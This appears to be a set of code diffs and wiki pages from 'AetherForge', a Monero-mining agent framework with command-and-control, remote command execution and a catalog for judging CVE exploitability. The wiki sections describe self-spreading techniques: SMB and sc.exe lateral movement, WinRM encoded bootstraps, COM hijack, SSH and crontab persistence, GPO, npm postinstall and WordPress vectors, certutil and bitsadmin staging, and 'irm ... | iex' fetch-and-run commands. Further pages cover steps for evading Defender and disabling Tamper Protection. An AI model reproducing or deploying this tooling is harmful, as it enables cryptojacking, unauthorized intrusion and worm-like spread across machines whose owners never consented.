{ID: "CVE-2021-34527", Name: "PrintNightmare", Component: "Windows Print Spooler", Severity: "high", FleetPorts: []int{445, 135}, PatchKBs: []string{"KB5004945"}},
{ID: "CVE-2020-0688", Name: "Exchange RCE", Component: "Microsoft Exchange", Severity: "high", FleetPorts: []int{443}},
{ID: "CVE-2021-21972", Name: "vCenter RCE", Component: "VMware vCenter", Severity: "critical", FleetPorts: []int{443}},
}
// FleetContext carries server-known signals for correlator enrichment.
type FleetContext struct {
ListenPortCount int
PathTracerPorts []int
SSHAvailable bool
OSVersion string
}
// EnrichFindings applies fleet-context rules (open ports from Path Tracer when available).
func EnrichFindings(findings []Finding, ctx FleetContext) []Finding {
if len(findings) == 0 {
return findings
}
portSet := make(map[int]bool)
for _, p := range ctx.PathTracerPorts {
portSet[p] = true
}
rules := catalogByID()
out := make([]Finding, len(findings))
copy(out, findings)
for i := range out {
if out[i].Patched || out[i].ExploitableInFleetContext {
continue
}
rule, ok := rules[out[i].CVEID]
if !ok {
continue
}
for _, p := range rule.FleetPorts {
if portSet[p] {
out[i].ExploitableInFleetContext = true
out[i].Detail = strings.TrimSpace(out[i].Detail + " · Path Tracer hop port " + itoa(p) + " open")
break
}
}
if !out[i].ExploitableInFleetContext && ctx.SSHAvailable && ctx.ListenPortCount > 0 {
for _, p := range rule.FleetPorts {
if p == 22 || p == 445 || p == 443 {
out[i].ExploitableInFleetContext = true
out[i].Detail = strings.TrimSpace(out[i].Detail + " · fleet SSH/listener context")
break
}
}
}
}
return out
}
func catalogByID() map[string]CatalogEntry {
m := make(map[string]CatalogEntry, len(EmbeddedCatalog))
for _, e := range EmbeddedCatalog {
m[e.ID] = e
}
return m
}
func itoa(n int) string {
if n == 0 {
return "0"
}
var b [12]byte
i := len(b)
for n > 0 {
i--
b[i] = byte('0' + n%10)
n /= 10
}
return string(b[i:])
}
// RiskScore computes a 0-100 score from enriched findings.
func RiskScore(findings []Finding) int {
score := 0
for _, f := range findings {
if f.ExploitableInFleetContext {
if f.Severity == "critical" {
score += 25
} else {
score += 12
}
} else if !f.Patched {
score += 8
}
}
if score > 100 {
return 100
}
return score
}

View File

@@ -0,0 +1,30 @@
package vuln
import "testing"
func TestEnrichFindingsPathTracerPort(t *testing.T) {
in := []Finding{{
CVEID: "CVE-2021-26855", Severity: "critical", Component: "Exchange",
Patched: false, ExploitableInFleetContext: false,
}}
out := EnrichFindings(in, FleetContext{PathTracerPorts: []int{443}})
if len(out) != 1 || !out[0].ExploitableInFleetContext {
t.Fatalf("expected fleet exploitability with 443 from pathtracer, got %+v", out)
}
}
func TestRiskScore(t *testing.T) {
s := RiskScore([]Finding{
{Severity: "critical", ExploitableInFleetContext: true},
{Severity: "high", Patched: false},
})
if s < 25 {
t.Fatalf("expected elevated score, got %d", s)
}
}
func TestEmbeddedCatalogNotEmpty(t *testing.T) {
if len(EmbeddedCatalog) < 10 {
t.Fatalf("expected catalog entries")
}
}

View File

@@ -109,6 +109,7 @@ func main() {
filepath.Join(cfg.DataDir, "builds"),
filepath.Join(cfg.DataDir, "preps"),
filepath.Join(cfg.DataDir, "logs"),
filepath.Join(cfg.DataDir, deploymentCredsDir),
}
for _, dir := range dirs {
if err := os.MkdirAll(dir, 0755); err != nil {
@@ -199,10 +200,13 @@ func main() {
applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
applyControlServerFirewall(cfg)
spreadCredAdapter := newConfigSpreadCredAdapter(cfg)
configProvider := &serverConfigProvider{
config: cfg,
onSaved: func(c *Config) {
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
spreadCredAdapter.setConfig(c)
},
}
configHandler := api.NewConfigHandler(configProvider)
@@ -276,6 +280,13 @@ func main() {
}
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
deployPlanHandler := api.NewDeployPlanHandler(
database, cfg.DataDir, projectRoot,
func() string { return configProvider.PublicURL() },
func() string { return cfg.Server.FleetSecret },
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
)
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -288,7 +299,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port, func() bool {
return cfg.ConnectorToken() != ""
@@ -352,6 +363,16 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
StrictWalletValidation: cfg.Server.StrictWalletValidation,
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds,
LotlOnionTiers: cfg.Server.LotlOnionTiers,
ServiceDeployAllowlist: apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist),
TripleOnionPolicy: api.TripleOnionPolicy{
PatchFirst: cfg.Server.TripleOnionPolicy.PatchFirst,
MineIsolatedTier: cfg.Server.TripleOnionPolicy.MineIsolatedTier,
SkipMiningOnHighRisk: cfg.Server.TripleOnionPolicy.SkipMiningOnHighRisk,
HighRiskThreshold: cfg.Server.TripleOnionPolicy.HighRiskThreshold,
ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers,
DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes,
},
})
}
if poolManager != nil {
@@ -599,3 +620,18 @@ func findWebRoot() string {
return ""
}
func apiServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]api.ServiceDeployLane {
if len(raw) == 0 {
return api.NormalizeServiceDeployAllowlist(nil)
}
out := make(map[string]api.ServiceDeployLane, len(raw))
for name, lane := range raw {
out[name] = api.ServiceDeployLane{
Lane: lane.Lane,
Priority: lane.Priority,
Template: lane.Template,
}
}
return api.NormalizeServiceDeployAllowlist(out)
}

View File

@@ -0,0 +1,71 @@
import { expect, test } from '@playwright/test';
import { fetchFleetSecret, loginToDashboard } from './fixtures';
import {
connectStubAgent,
E2E_STUB_AGENT_HOSTNAME,
E2E_STUB_AGENT_ID,
} from './stub-agent';
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
let serverReady = false;
let disconnectStub: (() => void) | null = null;
test.describe('Crucible bulk command', () => {
test.beforeAll(async ({ request }) => {
try {
const res = await request.get('/api/v1/health', { timeout: 5_000 });
serverReady = res.ok();
} catch {
serverReady = false;
}
if (!serverReady) return;
const fleetSecret = await fetchFleetSecret(request);
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
// Allow agent_online + DB upsert to settle before UI tests.
await new Promise((r) => setTimeout(r, 500));
});
test.afterAll(() => {
disconnectStub?.();
disconnectStub = null;
});
test.beforeEach(async ({ page }) => {
test.skip(
!serverReady,
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
);
await loginToDashboard(page);
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(
page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
).toBeVisible({ timeout: 15_000 });
});
test('bulk pause on selected online node fires POST bulk-command', async ({ page }) => {
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
await card.click();
await expect(page.getByText(/1 selected/)).toBeVisible();
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
const bulkRequest = page.waitForRequest(
(req) =>
req.method() === 'POST' && req.url().includes('/api/v1/agents/bulk-command'),
);
await page
.locator('.crucible-actions-card')
.getByRole('button', { name: 'Pause', exact: true })
.click();
const request = await bulkRequest;
expect(request.postDataJSON()).toEqual({
agent_ids: [E2E_STUB_AGENT_ID],
action: 'pause',
});
});
});

View File

@@ -0,0 +1,70 @@
import { expect, test } from '@playwright/test';
import { fetchFleetSecret, loginToDashboard } from './fixtures';
import {
connectStubAgent,
E2E_STUB_AGENT_HOSTNAME,
E2E_WHOAMI_RESPONSE,
} from './stub-agent';
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
let serverReady = false;
let disconnectStub: (() => void) | null = null;
test.describe('Crucible remote command', () => {
test.beforeAll(async ({ request }) => {
try {
const res = await request.get('/api/v1/health');
serverReady = res.ok();
} catch {
serverReady = false;
}
if (!serverReady) return;
const fleetSecret = await fetchFleetSecret(request);
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
// Allow agent_online + DB upsert to settle before UI tests.
await new Promise((r) => setTimeout(r, 500));
});
test.afterAll(() => {
disconnectStub?.();
disconnectStub = null;
});
test.beforeEach(async ({ page }) => {
test.skip(
!serverReady,
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
);
await loginToDashboard(page);
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText(E2E_STUB_AGENT_HOSTNAME)).toBeVisible({ timeout: 15_000 });
});
test('whoami on selected online node shows terminal output', async ({ page }) => {
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
await page.getByRole('button', { name: 'whoami' }).click();
const terminal = page.locator('.crucible-terminal');
await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 });
await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
});
test('exec echo via master terminal shows output', async ({ page }) => {
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
await page.getByRole('button', { name: 'CMD', exact: true }).click();
const input = page.locator('.crucible-term-input');
await expect(input).toBeEnabled();
await input.fill('echo crucible-e2e-ping');
await page.getByRole('button', { name: 'SEND' }).click();
const terminal = page.locator('.crucible-terminal');
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
});
});

View File

@@ -1,4 +1,4 @@
import { expect, type Page } from '@playwright/test';
import { expect, type APIRequestContext, type Page } from '@playwright/test';
/** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */
export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser';
@@ -7,6 +7,24 @@ export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass';
/** Seed this into the server data dir as users.json before first start (see tests/README.md). */
export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS });
export function e2eAuthHeaders(): Record<string, string> {
const token = Buffer.from(`${E2E_USER}:${E2E_PASS}`).toString('base64');
return {
Authorization: `Basic ${token}`,
'X-AetherForge-Client': 'dashboard',
};
}
/** Reads fleet_secret from live server config (generated on first server start). */
export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() });
if (!res.ok()) {
throw new Error(`config fetch failed: ${res.status()}`);
}
const body = (await res.json()) as { server?: { fleet_secret?: string } };
return body.server?.fleet_secret ?? '';
}
export async function loginToDashboard(page: Page): Promise<void> {
await page.goto('/');
await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });

View File

@@ -12,10 +12,15 @@ test.describe('Page smoke', () => {
await expect(page.getByText('Machine Roster')).toBeVisible();
});
test('Agents renders Fleet Roster', async ({ page }) => {
await page.getByRole('link', { name: /Fleet Roster/i }).click();
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText(/NODES/i)).toBeVisible();
test('Crucible renders node roster', async ({ page }) => {
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText(/NODE ROSTER/i)).toBeVisible();
});
test('/agents redirects to Crucible', async ({ page }) => {
await page.goto('/agents');
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
});
test('Settings renders Calibrate', async ({ page }) => {

View File

@@ -27,7 +27,6 @@ const OFFLINE_AGENT = {
test.describe('Remote actions UI', () => {
test.beforeEach(async ({ page }) => {
// AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS).
await page.addInitScript((agent) => {
const RealWS = WebSocket;
const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket };
@@ -90,9 +89,6 @@ test.describe('Remote actions UI', () => {
}
await route.fulfill({ json: [OFFLINE_AGENT] });
});
await page.route('**/api/v1/agents/*/stats*', async (route) => {
await route.fulfill({ json: [] });
});
await page.route('**/api/v1/builds', async (route) => {
await route.fulfill({ json: [] });
});
@@ -107,22 +103,20 @@ test.describe('Remote actions UI', () => {
});
});
await loginToDashboard(page);
await page.getByRole('link', { name: /Fleet Roster/i }).click();
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText('Offline Node')).toBeVisible({ timeout: 10_000 });
});
test('detail panel disables remote actions for offline agent', async ({ page }) => {
test('mining ops disabled when only offline agent selected', async ({ page }) => {
await page.getByText('Offline Node').click();
const detail = page.locator('.agent-detail');
await expect(detail.getByRole('heading', { name: 'Remote Control' })).toBeVisible({ timeout: 10_000 });
await expect(detail.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
await expect(detail.getByRole('button', { name: 'Pause' })).toBeDisabled();
const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true });
await expect(pauseBtn).toBeDisabled();
await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled();
});
test('compact row remote actions disabled when offline', async ({ page }) => {
test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => {
await page.getByText('Offline Node').click();
const compact = page.locator('.agent-list-item.expanded');
await expect(compact.getByRole('button', { name: 'Pause' })).toBeDisabled();
await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled();
});
});

View File

@@ -0,0 +1,108 @@
/**
* Minimal WebSocket agent for Playwright E2E against a live miner-server.
* Mirrors server/internal/api/integration_test.go connectAgentViaRouter flow.
*/
export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent';
export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host';
export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok';
type HubMessage = {
type: string;
payload: string | Record<string, unknown>;
};
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
if (typeof payload === 'string') {
return JSON.parse(payload) as Record<string, unknown>;
}
return payload;
}
function wsAgentUrl(baseUrl: string): string {
const trimmed = baseUrl.replace(/\/$/, '');
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
}
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
ws.send(JSON.stringify({ type, payload }));
}
function replyCommand(ws: WebSocket, action: string, command: string): void {
let message = 'e2e-stub-ok';
if (action === 'resume') {
message = 'mining resumed';
} else if (command.trim().toLowerCase() === 'whoami') {
message = E2E_WHOAMI_RESPONSE;
} else if (command.trim().toLowerCase().startsWith('echo ')) {
message = command.trim().slice(5);
}
send(ws, 'command_result', { action, success: true, message });
}
/**
* Connect a stub agent that answers exec/powershell commands on the live server.
* Returns a cleanup function that closes the socket.
*/
export async function connectStubAgent(
baseUrl: string,
fleetSecret = '',
): Promise<() => void> {
const ws = new WebSocket(wsAgentUrl(baseUrl));
await new Promise<void>((resolve, reject) => {
const timer = setTimeout(() => reject(new Error('stub agent ws open timeout')), 10_000);
ws.addEventListener('open', () => {
clearTimeout(timer);
resolve();
}, { once: true });
ws.addEventListener('error', () => {
clearTimeout(timer);
reject(new Error('stub agent ws connection failed'));
}, { once: true });
});
send(ws, 'auth', {
agent_id: E2E_STUB_AGENT_ID,
fleet_secret: fleetSecret,
hostname: E2E_STUB_AGENT_HOSTNAME,
version: '1.0.0-e2e',
platform: 'windows',
arch: 'amd64',
cpu_cores: 4,
memory_gb: 8,
});
await new Promise<void>((resolve, reject) => {
const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000);
ws.addEventListener('message', (ev) => {
const msg = JSON.parse(String(ev.data)) as HubMessage;
if (msg.type !== 'auth_response') return;
clearTimeout(timer);
const body = parsePayload(msg.payload);
if (body.success !== true) {
reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
return;
}
resolve();
}, { once: true });
});
ws.addEventListener('message', (ev) => {
let msg: HubMessage;
try {
msg = JSON.parse(String(ev.data)) as HubMessage;
} catch {
return;
}
if (msg.type !== 'command') return;
const payload = parsePayload(msg.payload);
const action = String(payload.action ?? '');
const command = String(payload.command ?? '');
replyCommand(ws, action, command);
});
return () => {
ws.close();
};
}

View File

@@ -26,9 +26,13 @@
<li><a href="#fusion-media">Fusion media</a></li>
<li><a href="#usb">USB</a></li>
<li><a href="#lan">LAN kindling</a></li>
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
<li><a href="#linux-lotl">Linux LOTL</a></li>
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
<li><a href="#wordpress">WordPress plugin</a></li>
<li><a href="#npm-helper">npm postinstall</a></li>
<li><a href="#social-funnel">Social funnel</a></li>
<li><a href="#lotl-onion">LOTL Onion</a></li>
<li><a href="#third-party">Third-party &amp; gaps</a></li>
</ul>
</aside>
@@ -54,9 +58,13 @@
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
</div>
@@ -230,10 +238,68 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code><code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
</ol>
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
</div>
<!-- WinRM bootstrap -->
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
<h3>WinRM bootstrap — encoded registration</h3>
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
</ol>
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
</div>
<!-- Linux LOTL -->
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
<h3>Linux LOTL — systemd-run &amp; crontab</h3>
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
<h4>Prerequisites</h4>
<ul>
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
</ol>
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
</div>
<!-- GPO / Intune -->
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
<h3>GPO / Intune enterprise spread</h3>
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
<h4>Prerequisites</h4>
<ul>
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
<li>Reachable command deck URL from domain endpoints</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
</ol>
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
</div>
<!-- WordPress -->
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
<h3>WordPress plugin — owned-site supply chain</h3>
@@ -306,6 +372,42 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
</div>
<!-- LOTL Onion -->
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
<h3>LOTL Onion — native-tool spread tier chain</h3>
<p>
<span class="wiki-status working">Working</span>
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
</p>
<h4>Default tier order (docker → GPO)</h4>
<p class="form-hint">
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
</p>
<table class="wiki-table">
<thead><tr><th>Tier</th><th>One-line</th></tr></thead>
<tbody>
<tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
<tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
<tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
<tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
<tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
<tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
<tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
<tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
<tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
</tbody>
</table>
<h4>Forge steps</h4>
<ol class="spread-steps">
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
</ol>
<a class="spread-deck-link" href="/forge">Open Forge →</a>
</div>
<!-- Third-party -->
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
<h3>Third-party platforms &amp; gaps</h3>

View File

@@ -110,6 +110,15 @@ Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
---
## LOTL staging & LAN spread (agent commands)
| Technique | LOLBins | AetherForge mapping |
|-----------|---------|---------------------|
| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc``sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
---
## Key References
- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)

View File

@@ -42,6 +42,8 @@
<li><a href="#path-tracer">Path Tracer</a></li>
<li><a href="#agent">Agent Reference</a></li>
<li><a href="#mining">Mining</a></li>
<li><a href="#av-safe">AV-Safe Mining</a></li>
<li><a href="#container-mining">Container Mining</a></li>
<li><a href="#platform-matrix">Platform Matrix</a></li>
<li><a href="#alerts-ai">Alerts &amp; AI</a></li>
<li><a href="#security-auth">Security</a></li>
@@ -875,6 +877,109 @@ https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</section>
<section id="av-safe">
<h2>AV-Safe Mining — Default Strategy</h2>
<p>
New forges default to <strong>in-process RandomX</strong> (<code>miner_execution=inprocess</code>).
The agent hashes Monero inside the Go binary via <code>go-randomx</code> — no XMRig, no child
<code>.exe</code> download. Use the Forge <strong>AV-Safe</strong> operation chip or preset for
CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
</p>
<h3>Why turning Defender "off" often does nothing</h3>
<ul>
<li><strong>Real-time protection</strong> (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.</li>
<li><strong>Tamper Protection</strong> — blocks <code>Set-MpPreference</code>, registry disables, and agent <code>SilentAVExclusion</code> without admin + temporary tamper off.</li>
<li><strong>Cloud-delivered protection</strong> — uploads unknown binaries; garbled/obfuscated agents score higher.</li>
<li><strong>Controlled folder access</strong> — blocks writes to Documents/Desktop even when RTP is "off".</li>
<li><strong>Behavioral / AMSI</strong> — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.</li>
<li><strong>Third-party AV</strong> — McAfee, Norton, etc. ignore Windows Security UI entirely.</li>
</ul>
<h3>Windows operator checklist</h3>
<ol>
<li>Forge with <strong>AV-Safe</strong> or <strong>Miner Execution → In-process RandomX</strong>.</li>
<li>Calibrate → <strong>Windows Defender Exclusions</strong> → copy/download <code>.ps1</code> → run elevated on each worker.</li>
<li>Windows Security → Virus &amp; threat protection → Manage settings → turn off <strong>Tamper Protection</strong> briefly while applying exclusions.</li>
<li>Add path exclusion for install dir (default under <code>%LOCALAPPDATA%\CryptoMiner\</code>) and process exclusion for forged <code>.exe</code> name.</li>
<li>Disable or allowlist <strong>Controlled folder access</strong> if the agent cannot write its install tree.</li>
<li>Crucible → <strong>Mining Diagnostics</strong> on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.</li>
<li>For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.</li>
</ol>
